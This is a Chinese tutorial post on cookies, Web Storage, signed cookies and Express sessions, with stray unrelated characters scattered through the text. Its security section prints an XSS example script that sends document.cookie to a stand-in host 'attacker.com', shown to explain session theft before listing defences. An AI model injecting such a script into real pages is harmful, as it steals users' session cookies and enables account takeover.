cookie
cookie的起源
早期web剛開(kāi)始出現(xiàn)復(fù)雜的應(yīng)用程序時(shí),產(chǎn)生了對(duì)于能夠直接在客戶端上存儲(chǔ)用戶信息能力的需求(例如登錄信息砸烦、偏好設(shè)定等等)。服務(wù)器希望每個(gè)http請(qǐng)求到來(lái)的同時(shí)帶來(lái)一些個(gè)性化的信息,以進(jìn)行個(gè)性化的處理歌逢。這個(gè)需求的第一個(gè)解決方案是網(wǎng)景公司于1993年創(chuàng)造的cookie欣簇,定義與RFC2109规脸。
wiki:Cookie(復(fù)數(shù)形態(tài)Cookies),中文名稱(chēng)為“小型文本文件”或“小甜餅”熊咽,指某些為了辨別用戶身份而儲(chǔ)存在用戶本地終端(Client Side)上的數(shù)據(jù)(通常經(jīng)過(guò)加密)
cookie的原理與實(shí)現(xiàn)
服務(wù)器在http響應(yīng)頭中添加Set-Cookie信息莫鸭,瀏覽器收到響應(yīng)后會(huì)根據(jù)頭中的字段保存cookie,下一次訪問(wèn)時(shí)在請(qǐng)求頭中附帶cookie內(nèi)容横殴,供服務(wù)器根據(jù)cookie值進(jìn)行后續(xù)處理被因。
下面用node express實(shí)現(xiàn)一個(gè)簡(jiǎn)單的由服務(wù)器發(fā)放cookie的例子卿拴,記錄用戶在10秒內(nèi)訪問(wèn)的次數(shù):
var express = require('express'),
cookieParser = require('cookie-parser'); //cookie-parser是一個(gè)中間件,解析請(qǐng)求頭中的cookies并填入req.cookies對(duì)象
var app = express();
app.listen(3000);
app.use(cookieParser());
app.get('/', function (req, res) {
if (req.cookies.visit) {
res.cookie('visit', +req.cookies.visit + 1, {maxAge: 10000});
res.send("再次歡迎訪問(wèn)");
} else {
res.cookie('visit', 1, {maxAge: 10000});
res.send("歡迎首次訪問(wèn)");
}
if (!req.cookies.hello) {
res.cookie('hello', 'hello world', {maxAge: 5000});
}
});
首次訪問(wèn)/梨与,觀察response header:
Set-Cookie:hello=hello%20world; Max-Age=5; Path=/; Expires=Fri, 01 Jul 2016 08:31:39 GMT
Set-Cookie:visit=1; Max-Age=10; Path=/; Expires=Fri, 01 Jul 2016 08:31:44 GMT
設(shè)置了兩個(gè)cookie堕花,并指定了時(shí)效。5秒內(nèi)再次訪問(wèn)/粥鞋,則響應(yīng)頭中不再包含set-cookie hello缘挽;5秒后訪問(wèn),cookie hello失效呻粹,服務(wù)器再次發(fā)送cookie hello壕曼。10秒內(nèi)不斷訪問(wèn)/,則服務(wù)器每次都會(huì)重新發(fā)送cookie visit等浊,值為10秒內(nèi)訪問(wèn)的次數(shù)腮郊,而次數(shù)是根據(jù)用戶發(fā)送的cookie hello來(lái)計(jì)算的。
第二次訪問(wèn)的request header:Cookie:hello=hello%20world; visit=1
cookie們用';'連接后被發(fā)送筹燕。
這樣轧飞,就實(shí)現(xiàn)了我們的需求,由客戶端存儲(chǔ)服務(wù)器想要的個(gè)性化信息庄萎。
cookie的構(gòu)成與限制
一個(gè)cookie的信息在發(fā)送前由服務(wù)器設(shè)置踪少,express的res.cookie可以自定義設(shè)置。
res.cookie(name, value [, options])
- 名稱(chēng)-值 name-value:名稱(chēng)不區(qū)分大小寫(xiě)糠涛;值為字符串援奢,兩者都必須被URL編碼
options: - 域 domain:cookie對(duì)哪個(gè)域有效,瀏覽器向該域發(fā)送的請(qǐng)求中都會(huì)包含這個(gè)cookie忍捡。若域x = www.A.com集漾,那么只有訪問(wèn)x時(shí)才會(huì)發(fā)送該cookie;若x = .A.com砸脊,則訪問(wèn)x的子域如bb.A.com也會(huì)發(fā)送
- 路徑 path:對(duì)于訪問(wèn)指定域中的路徑具篇,才向服務(wù)器發(fā)送該cookie
- 失效時(shí)間 expires:表示cookie何時(shí)應(yīng)該被刪除的時(shí)間戳,也就是何時(shí)停止向服務(wù)器發(fā)送該cookie凌埂。若設(shè)置為以前的時(shí)間驱显,則立即刪除
- maxAge:expires的方便版,設(shè)置一個(gè)毫秒數(shù)瞳抓,從現(xiàn)在開(kāi)始計(jì)時(shí)埃疫;<=0立即刪除。expires 是 UTC 格式時(shí)間孩哑,maxAge 是 cookie 多久后過(guò)期的相對(duì)時(shí)間栓霜。當(dāng)不設(shè)置這兩個(gè)選項(xiàng)時(shí),會(huì)產(chǎn)生 session cookie横蜒,session cookie 是暫時(shí)的胳蛮,當(dāng)用戶關(guān)閉瀏覽器時(shí)销凑,就被清除(準(zhǔn)確的說(shuō)應(yīng)該是和瀏覽器生命周期一致)。
- 安全標(biāo)志 secure: true表示僅https才發(fā)送該cookie
- httpOnly: true表示該cookie不能被瀏覽器訪問(wèn)仅炊,只能被服務(wù)器訪問(wèn)
JS瀏覽器端操作cookie
BOM為我們提供了操作cookie的接口:document.cookie斗幼。在一個(gè)頁(yè)面中只能訪問(wèn)當(dāng)前頁(yè)面可用的cookie(根據(jù)cookie的域、路徑茂洒、失效時(shí)間和安全設(shè)置)孟岛,它返回一個(gè)分號(hào)連接的鍵值對(duì)字符串:
document.cookie // 輸出當(dāng)前頁(yè)可訪問(wèn)的cookie:"hello=hello; visit=1"
添加cookie:
document.cookie=encodeURIComponent("hey") + "=" + encodeURIComponent("you") + "; domain=localhost:3000; path=/" //添加cookie hey
覆蓋cookie:
document.cookie=encodeURIComponent("hello") + "=" + encodeURIComponent("new world")
由于JS中讀寫(xiě)cookie不是非常直觀,常常需要寫(xiě)一些工具函數(shù)來(lái)簡(jiǎn)化操作cookie督勺,如讀取渠羞、寫(xiě)入、刪除智哀。其中次询,刪除需要使用重寫(xiě)一個(gè)失效時(shí)間為過(guò)去的cookie,它的名稱(chēng)瓷叫、路徑屯吊、域、安全選項(xiàng)需要相同摹菠。
看一個(gè)例子:
document.cookie // 假設(shè)當(dāng)前頁(yè)面在路徑/abc下盒卸,"A=1" cookie A的path為/abc
document.cookie = "A=2; path='/'"
document.cookie // "A=1; A=2"
這是因?yàn)閭zA的path不同。名稱(chēng)次氨、域蔽介、路徑、安全選項(xiàng)共同確定一個(gè)唯一的cookie煮寡。
cookie的限制
瀏覽器對(duì)每個(gè)域能保存的cookie數(shù)量限制不同虹蓄,而大多瀏覽器都對(duì)單個(gè)cookie的長(zhǎng)度限制在4KB,若超過(guò)這個(gè)長(zhǎng)度幸撕,則會(huì)被瀏覽器拋棄薇组。
由于所有的cookie都會(huì)由瀏覽器作為請(qǐng)求頭發(fā)送,所以在cookie中存儲(chǔ)大量信息會(huì)影響到特定域的請(qǐng)求性能坐儿。盡管瀏覽器對(duì)cookie進(jìn)行了大小限制律胀,不過(guò)最好還是盡可能在cookie中少存儲(chǔ)信息,以避免影響性能貌矿。
cookie的性質(zhì)和它的局限性使得其并不能作為存儲(chǔ)大量信息的理想手段累铅,所以又出現(xiàn)了其他客戶端存儲(chǔ)方法。
其他客戶端存儲(chǔ)機(jī)制
Web Storage
最早在Web應(yīng)用1.0規(guī)范中提出站叼,最終成為了H5的一部分,它的目的是提供一種在cookie之外存儲(chǔ)會(huì)話數(shù)據(jù)的途徑菇民,并提供一種存儲(chǔ)大量可以跨會(huì)話存在的數(shù)據(jù)的機(jī)制尽楔。在BOM中它主要有兩個(gè)常用對(duì)象:
window.sessionStorage
window.localStorage
都是Storage類(lèi)的對(duì)象投储,通過(guò)設(shè)置鍵值對(duì)來(lái)存儲(chǔ)值。
-
sessionStorage 與上面提到過(guò)的 session cookie 的區(qū)別:
1.前者存儲(chǔ)在window.sessionStorage中阔馋,由頁(yè)面腳本來(lái)賦值玛荞;后者存儲(chǔ)在document.cookie中,就是個(gè)expires與maxAge為默認(rèn)的cookie呕寝,由response header set-cookie賦值勋眯;
2.MDN上的解釋?zhuān)?/li>
A page session lasts for as long as the browser is open and survives over page reloads and restores. Opening a page in a new tab or window will cause a new session to be initiated, which differs from how session cookies work.
試了一下兩者,我的理解是:對(duì)于sessionStorage下梢,新開(kāi)一個(gè)tab或窗口都算一個(gè)新的會(huì)話客蹋,例如頁(yè)面A在tab X中set了一個(gè)sessionStorage m,另一個(gè)tab或窗口中打開(kāi)A孽江,是沒(méi)有m滴讶坯,因此它的作用域僅在當(dāng)前tab,而關(guān)閉了A岗屏,m也就沒(méi)了辆琅,生命周期也僅限于當(dāng)前tab;而對(duì)于session cookie这刷,只要瀏覽器沒(méi)有關(guān)閉婉烟,它都在。(若理解有偏差暇屋,感謝指出)
-
localStorage
localStorage作為持久保存客戶端數(shù)據(jù)的方案似袁。曾經(jīng)firefox推出過(guò)一個(gè)globalStorage,后來(lái)在h5規(guī)范中被前者取代率碾。要訪問(wèn)同一個(gè)localStorage對(duì)象叔营,頁(yè)面必須來(lái)自同一域名、同一協(xié)議所宰、同一端口绒尊。
生命周期:保存到j(luò)s刪除或者用戶主動(dòng)清除瀏覽器緩存。
PS:storage事件 localStorage發(fā)送變更會(huì)觸發(fā)該事件仔粥,可用于同一域名下的頁(yè)面間通信 參考婴谱。
** 三者區(qū)別**
| cookie | sessionStorage | localStorage
-|------|------------- | ----------
生命周期|由expires決定|到本tab或window關(guān)閉|到j(luò)s刪除或?yàn)g覽器清除緩存
作用范圍|由domain與path決定|本tab或本window|同一域名、協(xié)議躯泰、端口
signedCookie
想象一下谭羔,如果某個(gè)網(wǎng)站用戶每次操作都需要輸入用戶名密碼,那太煩了麦向。如何用cookie解決呢瘟裸?
實(shí)現(xiàn)方法是把登錄信息如賬號(hào)、密碼等保存在Cookie中诵竭,并控制Cookie的有效期话告,下次訪問(wèn)時(shí)再驗(yàn)證Cookie中的登錄信息即可兼搏。
保存登錄信息有多種方案。
- 最直接的是把用戶名與密碼明文都保持到cookie中沙郭,下次訪問(wèn)時(shí)服務(wù)器檢查cookie中的用戶名與密碼佛呻,與數(shù)據(jù)庫(kù)比較。這是一種比較危險(xiǎn)的選擇病线,一般不把密碼等重要信息保存到Cookie中吓著。
- 還有一種方案是把密碼加密后保存到Cookie中,下次訪問(wèn)時(shí)解密并與數(shù)據(jù)庫(kù)比較送挑。這種方案略微安全一些绑莺,至少客戶端保存的是密碼的密文。這兩種方案驗(yàn)證賬號(hào)時(shí)都要查詢數(shù)據(jù)庫(kù)让虐,而且每次都發(fā)個(gè)密碼過(guò)去被抓到包都完蛋紊撕。
- signedCookie:用戶只需第一次訪問(wèn)時(shí)輸入用戶名密碼,服務(wù)器查庫(kù)驗(yàn)證赡突,然后利用信息摘要算法(如md1对扶,sha1等)對(duì)用戶名和服務(wù)器上的secret string計(jì)算一次,連同賬號(hào)一塊保存到cookie中惭缰。下次訪問(wèn)時(shí)浪南,請(qǐng)求頭里帶著用戶名和摘要,服務(wù)器只需要用自己的算法和secret string對(duì)用戶名計(jì)算一下漱受,判斷結(jié)果是否一致即可認(rèn)證络凿。這樣就不用每次都傳密碼啦。用戶或攻擊者也沒(méi)法偽造信息了昂羡,一旦它更改了 cookie 中的信息絮记,則服務(wù)器會(huì)發(fā)現(xiàn) hash 校驗(yàn)的不一致;而且畢竟他不懂服務(wù)器上的seret string是什么虐先,而暴力破解哈希值的成本太高怨愤。
session
session的起源
由于HTTP協(xié)議是無(wú)狀態(tài)的協(xié)議,所以服務(wù)端需要記錄客戶端的狀態(tài)時(shí)(不想存數(shù)據(jù)庫(kù)的用戶數(shù)據(jù))蛹批,就需要用某種機(jī)制來(lái)識(shí)別撰洗、記錄。在識(shí)別用戶這個(gè)需求上腐芍,上述的signedCookie是一種解決方案差导,但它只是用來(lái)識(shí)別登錄用戶,不能標(biāo)識(shí)任意的訪問(wèn)請(qǐng)求猪勇;而對(duì)于記錄這個(gè)需求设褐,一些重要的數(shù)據(jù)就不能存放在 cookie 中了,客戶端容易偽造,而且如果cookie太多也慢络断。
為了解決這些問(wèn)題裁替,就有人設(shè)計(jì)了session,session 中的數(shù)據(jù)是保留在服務(wù)器端的貌笨,服務(wù)器對(duì)一個(gè)用戶在一次會(huì)話期間保存一個(gè)session對(duì)象。通過(guò)客戶端一份襟沮、服務(wù)器端一份相同的字段來(lái)實(shí)現(xiàn)用戶識(shí)別锥惋,通過(guò)服務(wù)器端在該session中保存鍵值對(duì)來(lái)記錄用戶數(shù)據(jù)。(從存儲(chǔ)角度上說(shuō)cookie是減輕服務(wù)器端存儲(chǔ)壓力开伏,session是減輕客戶端壓力膀跌、減少傳輸帶寬,都是舍己為人)
session的原理與實(shí)現(xiàn)
session實(shí)現(xiàn)也得靠cookie固灵。當(dāng)客戶端第一次訪問(wèn)某網(wǎng)站時(shí)捅伤,服務(wù)器會(huì)根據(jù)自定義的規(guī)則計(jì)算出一個(gè)新的sid(它不會(huì)重復(fù),也極難被仿造)巫玻,創(chuàng)建一個(gè)對(duì)應(yīng)的session對(duì)象并存儲(chǔ)丛忆;然后sid作為cookie發(fā)給瀏覽器。此后服務(wù)器根據(jù)收到請(qǐng)求里的sid來(lái)匹配session仍秤,session中除了sid外可以存一些其他該客戶端的信息鍵值對(duì)(signedCookie是用來(lái)識(shí)別登錄的用戶,sid是識(shí)別http請(qǐng)求,雖然他倆看起來(lái)很像)蒜田。這樣只通過(guò)一個(gè)sid就能實(shí)現(xiàn)記錄用戶的狀態(tài)啦凭峡。
如果說(shuō)Cookie機(jī)制是通過(guò)檢查客戶身上的“通行證”來(lái)確定客戶身份的話,那么Session機(jī)制就是通過(guò)檢查服務(wù)器上的“客戶明細(xì)表”來(lái)確認(rèn)客戶身份苇本。Session相當(dāng)于程序在服務(wù)器上建立的一份客戶檔案袜茧,客戶來(lái)訪的時(shí)候只需要查詢客戶檔案表就可以了
sid的生命周期:通常服務(wù)器設(shè)置這個(gè)sid為一個(gè)默認(rèn)expires的session cookie,客戶端關(guān)了瀏覽器代表本次會(huì)話結(jié)束它就沒(méi)了瓣窄;服務(wù)器端的session存儲(chǔ)一般也會(huì)給每個(gè)session設(shè)定一個(gè)時(shí)效笛厦,比如1小時(shí),1小時(shí)內(nèi)用戶沒(méi)有再訪問(wèn)就刪除這個(gè)session康栈。(若1小時(shí)后用戶請(qǐng)求再攜帶服務(wù)器已刪除的sid递递,那么服務(wù)器檢索不到就會(huì)新建一個(gè)session并返回一個(gè)新的sid)
還是用express舉個(gè)栗子:
express 中操作 session 要用到 express-session 這個(gè)模塊,主要的方法就是session(options)啥么,其中 options 中包含可選參數(shù):
- name: 設(shè)置 cookie 中登舞,保存 session 的字段名稱(chēng),默認(rèn)為 connect.sid
- store: session 的存儲(chǔ)方式悬荣,默認(rèn)存放在內(nèi)存中菠秒,也可以使用 redis,mongodb 等。express 生態(tài)中都有相應(yīng)模塊的支持
- secret: 通過(guò)設(shè)置的 secret 字符串践叠,來(lái)計(jì)算sid
- cookie: 設(shè)置存放 sid 的 cookie 的相關(guān)選項(xiàng)言缤,默認(rèn)為(default: { path: '/', httpOnly: true, secure: false, maxAge: null })
- genid: 產(chǎn)生一個(gè)新的 session_id 時(shí),所使用的函數(shù)禁灼, 默認(rèn)使用 uid-safe這個(gè) npm 包
- rolling: 每個(gè)請(qǐng)求都重新設(shè)置一個(gè) sid 相同的 cookie管挟,延長(zhǎng)時(shí)效,默認(rèn)為 false
- resave: 即使 session 沒(méi)有被修改弄捕,也保存 session 值僻孝,默認(rèn)為 true
- saveUninitialized: 對(duì)不帶sid的請(qǐng)求設(shè)置新的session,默認(rèn)為true
利用session來(lái)存儲(chǔ)用戶對(duì)某頁(yè)面的訪問(wèn)次數(shù):
var express = require('express');// 首先引入 express-session 這個(gè)模塊
var session = require('express-session');
var app = express();app.listen(5000);// 按照上面的解釋?zhuān)O(shè)置 session 的可選參數(shù)
app.use(session({ secret: 'recommand 128 bytes random string', cookie: { maxAge: 60 * 1000 }}));
app.get('/', function (req, res) { // 檢查 session 中的 isVisit 字段
// 如果存在則增加一次守谓,否則為 session 設(shè)置 isVisit 字段穿铆,并初始化為 1。
if(req.session.isVisit) {
req.session.isVisit++;
res.send('<p>第 ' + req.session.isVisit + '次來(lái)此頁(yè)面</p>');
} else {
req.session.isVisit = 1;
res.send("歡迎第一次來(lái)這里");
console.log(req.sessionID); // Q1t2E1BmlR3jLisjDPq5KgMX6ZsHsRfl
}});
安全
session安全
從前文可以知道斋荞,session數(shù)據(jù)放在后端荞雏,sid放在前端,這就存在著sid被盜用的可能:
- 偽造:如果web應(yīng)用的用戶十分多平酿,那么攻擊者自行設(shè)計(jì)的隨機(jī)算法的一些口令值就有理論機(jī)會(huì)命中有效的口令值
- XSS:攻擊者往往利用網(wǎng)站沒(méi)有對(duì)用戶內(nèi)容轉(zhuǎn)義處理進(jìn)行腳本注入獲取用戶在該網(wǎng)站上的cookie
- 竊聽(tīng) / 中間人攻擊
防御偽造sid:
session基于cookie凤优,那么可以利用上文提到的signedCookie來(lái)讓sid更加安全。
上文signedCookie舉的栗子是對(duì)用戶名簽名染服,那么這里對(duì)sid簽名就OK了别洪。觀察上節(jié)session例子的cookie與sid:
可以看到瀏覽器存的cookie connect.sid的值由三部分組成:'s%3A'('s:'的編碼),中間是sid柳刮, '.' 之后是signedSid挖垛。
計(jì)算set-cookie值對(duì)應(yīng)express-session模塊中的這行代碼:
var signed = 's:' + signature.sign(val, secret);
secret就是一開(kāi)始session設(shè)置中的密鑰了”牛客戶端盡管可以偽造口令值痢毒,但是由于不知道secret,簽名信息很難偽造蚕甥。后臺(tái)只需要在響應(yīng)時(shí)將口令和簽名比對(duì)哪替,如果簽名非法,將服務(wù)器端該sid的數(shù)據(jù)立即過(guò)期即可菇怀。
防御竊聽(tīng)凭舶、XSS:
XSS漏洞:
XSS跨站腳本攻擊大家已經(jīng)很熟悉了,攻擊者往往利用網(wǎng)站沒(méi)有對(duì)用戶內(nèi)容轉(zhuǎn)義處理進(jìn)行腳本注入獲取用戶在該網(wǎng)站上的cookie爱沟。例如帅霜,網(wǎng)站直接輸出了一段攻擊者的留言:
<script>
var d = document.createElement('script');
d.src = 'attacker.com/x?' + document.cookie.replaceAll(';', '&');
document.body.appendChild(d);
</script>
其他用戶打開(kāi)頁(yè)面就中招了,這段注入腳本把用戶的cookie發(fā)給了攻擊者呼伸。
防御方法一種是設(shè)置cookie的httponly字段為true身冀,這樣腳本就不能訪問(wèn)到該cookie了。
還有一種是將客戶端的某些獨(dú)有信息與口令作為原值,然后簽名搂根,這樣攻擊者一旦不在原始的客戶端上進(jìn)行訪問(wèn)珍促,就會(huì)導(dǎo)致簽名失敗。這些獨(dú)有信息包括用戶IP和用戶代理剩愧。
當(dāng)然在中間人攻擊(尤其同網(wǎng)猪叙,比如免費(fèi)wifi的劫持風(fēng)險(xiǎn))的情況下,session截獲重放基本也是抵擋不住的了隙咸。徹底解決方法是上https沐悦,并且需要要求瀏覽者有能力辨識(shí)https出示的證書(shū)真假。
參考:
- JavaScript高級(jí)程序設(shè)計(jì)
- 深入淺出nodejs
- Node.js 包教不包會(huì) 之 cookie 和 session
- cookie/session機(jī)制詳解